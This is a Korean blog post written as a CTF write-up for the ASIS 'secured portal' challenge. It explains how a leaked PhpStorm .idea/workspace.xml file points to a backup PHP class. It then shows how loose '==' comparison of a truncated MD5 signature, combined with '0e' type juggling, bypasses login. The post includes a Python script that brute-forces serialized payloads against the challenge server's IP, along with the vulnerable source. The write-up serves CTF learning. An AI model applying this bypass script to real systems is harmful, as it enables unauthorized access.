asis - secured portal (0) -> object injection. 문제 아무것도 없어보이지만 function.js에 가보면 /authentication/login이라는 링크와 /panel/index라는 링크를 찾을 수 잇고 여기서 login string이라는 목표 공격대상을 찾을 수 있다. 그리고 문제에서 IDE와 function.js에서 phpstorm 을 사용했다는 힌트가 주어졌는데 많은 웹 프로그래머들이 IDE(integrated development environment)를 사용할떄 숨김 폴더를 만든다고 한다. phpstorm에서는 다음과 같은 IDE환경에 숨김 파일 흔적을 남기는데 , .idea/workspace.xml 이곳이다. 들어가보면 /backup/panel.class.php.bk를 찾을 수 있고 이 파일을 보면 login 정보를 get으로 object로 넘기는데 type confusion을 이용하여 우회 할 수 있다. 


내용은 아래와 같은데 auth의 하위 32바이트를 세션 스트링으로 쓰는데 이를 '00000000...'으로 채워주고 

이 세션 스트링을 md5($payload.$this->__sessionKey);  의 상위 6바이트와 '=='으로 비교하므로 이 md5값을 0e(숫자4개)로 맞춰주면 typeconfusion으로 참이 된다. session키의 값은 auth의 하위32바이트를 제외한 값을 base64_decode한 값으로 이에 맞게끔만 object를 짜주면 된다. md5더미는 serialized 배열에 배열 변수를 하나 더 만들어서 브루트포싱해준다.

아래는 다른사람 코드


import sys
import base64
import string
import requests

URL = 'http://46.101.96.182/panel/index'
SIG = '00000000000000000000000000000000'
template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}'

for c in string.letters + string.digits:
    for i in range(0, 500):
        OBJ = template % (i, c * i)
        r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG})
        if not 'login required' in r.text:
            print('found collision')
            print(OBJ)
            print(base64.b64encode(OBJ))
            sys.exit(0)


class panel extends main {

    /**
     * holds authentication status of the user
     * @var boolean
     */
    private $__auth;

    /**
     * holding database object
     * @var object
     */
    private $__db;

    /**
     * checking authentication string
     *
     * @param string object
     */
    function __construct($db){
        $this->__db = $db;
        $sessionString = null;

        /**
         * gathering authentication string by auth parameter in HTTP request
         */
        if(array_key_exists('auth', $_GET))
            $sessionString = $_GET['auth'];

        if(strlen($sessionString) > 32){
            $signature = substr($sessionString, -32);
            $payload = base64_decode(substr($sessionString, 0, -32));

            /**
             * real signature calculation based on the key
             */
            $realSign = md5($payload.$this->__sessionKey);

            /**
             * making it impossible to login, if the site is under maintenance,
             */
            if(__MAINTENANCE__===true)
                $realSign = substr($realSign, 0, 6);

            /**
             * checking signature, prevent to data forgery by user
             */
            if($realSign == $signature){
                $this->data = unserialize($payload);

                if(is_array($this->data)){
                    /**
                     * checking login status
                     */
                    if($this->data['logged']===true){
                        $this->__auth = true;
                    }
                }
            }
        }
    }

    /**
     * index
     */
    function index(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        template('panel');
    }

    /**
     * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print
     */
    function flag(){
        if(!$this->__auth){
            echo 'login required';
            return false;
        }

        /*
         * WOW, SEEMS THE FLAG IS HERE :)
         */
        require 'includes/flag.php';
    }

'CTF' 카테고리의 다른 글

[codegate final]owner  (0) 2017.04.19
[ASISctf] DLP  (2) 2017.04.13
[asisctf]wandere bits  (0) 2017.04.12
[asisctf]start hard  (0) 2017.04.12
[VolgaCTF]guessing_game 200pt  (8) 2017.03.25

+ Recent posts